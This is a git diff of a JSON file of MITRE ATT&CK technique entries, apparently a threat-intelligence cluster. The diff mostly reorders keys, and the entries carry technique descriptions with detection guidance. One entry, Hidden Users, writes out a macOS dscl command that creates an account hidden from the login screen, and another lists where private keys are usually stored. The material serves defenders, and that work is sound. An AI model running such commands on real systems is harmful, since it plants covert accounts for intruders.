XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring, SSL/TLS inspection",
- "value": "Standard Cryptographic Protocol",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -2961,7 +2966,23 @@
"Process monitoring",
"SSL/TLS inspection"
],
- "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Linux",
+ "Windows 10",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1032",
"https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf",
@@ -2969,6 +2990,16 @@
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
],
+ "uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5"
+ },
+ "value": "Standard Cryptographic Protocol"
+ },
+ {
+ "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring\n\nContributors: Itzik Kotler, SafeBreach",
+ "meta": {
+ "mitre_data_sources": [
+ "File monitoring"
+ ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -2985,56 +3016,24 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
- },
- {
- "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring\n\nContributors: Itzik Kotler, SafeBreach",
- "value": "Private Keys",
- "meta": {
- "mitre_data_sources": [
- "File monitoring"
],
- "uuid": "f6f87898-f389-4962-8c0a-2db10aa667e8",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1145",
"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf",
"https://en.wikipedia.org/wiki/Public-key%20cryptography"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Linux",
- "Windows 10",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "f6f87898-f389-4962-8c0a-2db10aa667e8"
+ },
+ "value": "Private Keys"
},
{
"description": "Adversaries may steal the credentials of a specific user or service account using [[Credential Access]] techniques. Compromised credentials may be used to bypass access controls placed on various resources on hosts and within the network and may even be used for persistent access to remote systems. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.[[Citation: TechNet Credential Theft]]\n\nDetection: Configure robust, consistent account activity audit policies across the enterprise.[[Citation: TechNet Audit Policy]] Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs, Process monitoring\n\nEffective Permissions: User, Administrator",
- "value": "Valid Accounts",
"meta": {
"mitre_data_sources": [
"Authentication logs",
"Process monitoring"
],
- "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1078",
- "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "https://technet.microsoft.com/en-us/library/dn535501.aspx"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3051,42 +3050,44 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1078",
+ "https://technet.microsoft.com/en-us/library/dn487457.aspx",
+ "https://technet.microsoft.com/en-us/library/dn535501.aspx"
+ ],
+ "uuid": "b17a1a56-e99c-403c-8948-561df0cffe81"
+ },
+ "value": "Valid Accounts"
},
{
"description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD [[Citation: Prolific OSX Malware History]]. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different [[Citation: Methods of Mac Malware Persistence]]. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.\n\nDetection: Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: Binary file metadata, Malware reverse engineering, Process Monitoring",
- "value": "LC_MAIN Hijacking",
"meta": {
"mitre_data_sources": [
"Binary file metadata",
"Malware reverse engineering",
"Process Monitoring"
],
- "uuid": "f52bb8c4-8e68-4834-939f-d193f9cfce61",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1149",
"https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "f52bb8c4-8e68-4834-939f-d193f9cfce61"
+ },
+ "value": "LC_MAIN Hijacking"
},
{
"description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters",
- "value": "System Service Discovery",
"meta": {
"mitre_data_sources": [
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1007"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3100,22 +3101,22 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1007"
+ ],
+ "uuid": "322bad5a-1c49-4d23-ab79-76d641794afa"
+ },
+ "value": "System Service Discovery"
},
{
"description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters",
- "value": "System Owner/User Discovery",
"meta": {
"mitre_data_sources": [
"File monitoring",
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1033"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3132,12 +3133,16 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1033"
+ ],
+ "uuid": "03d7999c-1f4c-42cc-8373-e7690d318104"
+ },
+ "value": "System Owner/User Discovery"
},
{
"description": "Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]] Correlating alerts between multiple communication channels can further help identify command-and-control behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring",
- "value": "Multiband Communication",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -3146,11 +3151,6 @@
"Malware reverse engineering",
"Process monitoring"
],
- "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1026",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3167,17 +3167,35 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1026",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "99709758-2b96-48f2-a68a-ad7fbd828091"
+ },
+ "value": "Multiband Communication"
},
{
"description": "Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Ryan Becwar",
- "value": "Pass the Ticket",
"meta": {
"mitre_data_sources": [
"Authentication logs"
],
- "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1097",
"http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf",
@@ -3185,25 +3203,12 @@
"https://adsecurity.org/?p=556",
"http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10"
- ]
- }
+ "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c"
+ },
+ "value": "Pass the Ticket"
},
{
"description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the winrm command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters",
- "value": "Windows Remote Management",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -3212,12 +3217,6 @@
"Process monitoring",
"Process command-line parameters"
],
- "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1028",
- "http://msdn.microsoft.com/en-us/library/aa384426",
- "http://www.slideee.com/slide/lateral-movement-with-powershell"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3231,22 +3230,24 @@
"Windows Vista",
"Windows 8.1",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1028",
+ "http://msdn.microsoft.com/en-us/library/aa384426",
+ "http://www.slideee.com/slide/lateral-movement-with-powershell"
+ ],
+ "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39"
+ },
+ "value": "Windows Remote Management"
},
{
"description": "An adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later.\n\nDetection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10\n\nData Sources: API monitoring, Process monitoring, File monitoring",
- "value": "Audio Capture",
"meta": {
"mitre_data_sources": [
"API monitoring",
"Process monitoring",
"File monitoring"
],
- "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1123"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3261,12 +3262,16 @@
"Windows 8.1",
"Linux",
"Windows 10"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1123"
+ ],
+ "uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967"
+ },
+ "value": "Audio Capture"
},
{
"description": "Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.\n\nCustom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.\n\nSome adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors.[[Citation: F-Secure Cosmicduke]]\n\nDetection: If malware uses custom encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect when communications do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring",
- "value": "Custom Cryptographic Protocol",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -3275,13 +3280,6 @@
"Malware reverse engineering",
"Process monitoring"
],
- "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1024",
- "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3298,12 +3296,19 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1024",
+ "https://www.f-secure.com/documents/996508/1030745/cosmicduke%20whitepaper.pdf",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
+ "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf"
+ ],
+ "uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d"
+ },
+ "value": "Custom Cryptographic Protocol"
},
{
"description": "Cause a binary or script to execute based on interacting with the file through a graphical user interface (GUI) or in an interactive remote session such as Remote Desktop Protocol.\n\nDetection: Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of [[Legitimate Credentials]] to access remote systems within the network.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters, Binary file metadata",
- "value": "Graphical User Interface",
"meta": {
"mitre_data_sources": [
"File monitoring",
@@ -3311,10 +3316,6 @@
"Process command-line parameters",
"Binary file metadata"
],
- "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1061"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3331,12 +3332,16 @@
"Linux",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1061"
+ ],
+ "uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228"
+ },
+ "value": "Graphical User Interface"
},
{
"description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring",
- "value": "Fallback Channels",
"meta": {
"mitre_data_sources": [
"Packet capture",
@@ -3345,11 +3350,6 @@
"Process use of network",
"Process monitoring"
],
- "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1008",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"mitre_platforms": [
"Windows Server 2003",
"Windows Server 2008",
@@ -3366,65 +3366,70 @@
"Windows 10",
"MacOS",
"OS X"
- ]
- }
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1008",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ ],
+ "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433"
+ },
+ "value": "Fallback Channels"
},
{
"description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Exploiting software vulnerabilities may allow adversaries to run a command or binary on a remote system for lateral movement, escalate a current process to a higher privilege level, or bypass security mechanisms. Exploits may also allow an adversary access to privileged accounts and credentials. One example of this is MS14-068, which can be used to forge Kerberos tickets using domain user permissions.[[Citation: Technet MS14-068]][[Citation: ADSecurity Detecting Forged Tickets]]\n\nDetection: Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Software and operating system crash reports may contain useful contextual information about attempted exploits that correlate with other malicious activity. Exploited processes may exhibit behavior that is unusual for the specific process, such as spawning additional processes or reading and writing to files.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Windows Error Reporting, File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center",
- "value": "Exploitation of Vulnerability",
"meta": {
"mitre_data_sources": [
"Windows Error Reporting",
"File monitoring",
"Process monitoring"
],
- "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
+ "mitre_platforms": [
+ "Windows Server 2003",
+ "Windows Server 2008",
+ "Windows Server 2012",
+ "Windows XP",
+ "Windows 7",
+ "Windows 8",
+ "Windows Server 2003 R2",
+ "Windows Server 2008 R2",
+ "Windows Server 2012 R2",
+ "Windows Vista",
+ "Windows 8.1",
+ "Windows 10",
+ "Linux",
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1068",
"https://technet.microsoft.com/en-us/library/security/ms14-068.aspx",
"https://adsecurity.org/?p=1515"
],
- "mitre_platforms": [
- "Windows Server 2003",
- "Windows Server 2008",
- "Windows Server 2012",
- "Windows XP",
- "Windows 7",
- "Windows 8",
- "Windows Server 2003 R2",
- "Windows Server 2008 R2",
- "Windows Server 2012 R2",
- "Windows Vista",
- "Windows 8.1",
- "Windows 10",
- "Linux",
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "b21c3b2d-02e6-45b1-980b-e69051040839"
+ },
+ "value": "Exploitation of Vulnerability"
},
{
"description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401[[Citation: Cybereason OSX Pirrit]].\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring",
- "value": "Hidden Users",
"meta": {
"mitre_data_sources": [
"Authentication logs",
"File monitoring"
],
- "uuid": "8c31ad7f-a31e-400e-b66a-08bc53660967",
+ "mitre_platforms": [
+ "MacOS",
+ "OS X"
+ ],
"refs": [
"https://attack.mitre.org/wiki/Technique/T1147",
"https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty"
],
- "mitre_platforms": [
- "MacOS",
- "OS X"
- ]
- }
+ "uuid": "8c31ad7f-a31e-400e-b66a-08bc53660967"
+ },
+ "value": "Hidden Users"
},
{
"description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.\n\nDetection: Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information [[Discovery]] or [[Lateral Movement]], which could be used as event indicators that point to the source file.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X",
- "value": "Binary Padding",
"meta": {
"mitre_platforms": [
"Windows Server 2003",
@@ -3443,33 +3448,33 @@
"MacOS",
"OS X"
],
- "uuid": "519630c5-f03f-4882-825c-3af924935817",
"refs": [
"https://attack.mitre.org/wiki/Technique/T1009"
- ]
- }
+ ],
+ "uuid": "519630c5-f03f-4882-825c-3af924935817"
+ },
+ "value": "Binary Padding"
},
{
"description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X",
- "value": "Login Item",
"meta": {
"mitre_platforms": [
"MacOS",
"OS X"
],
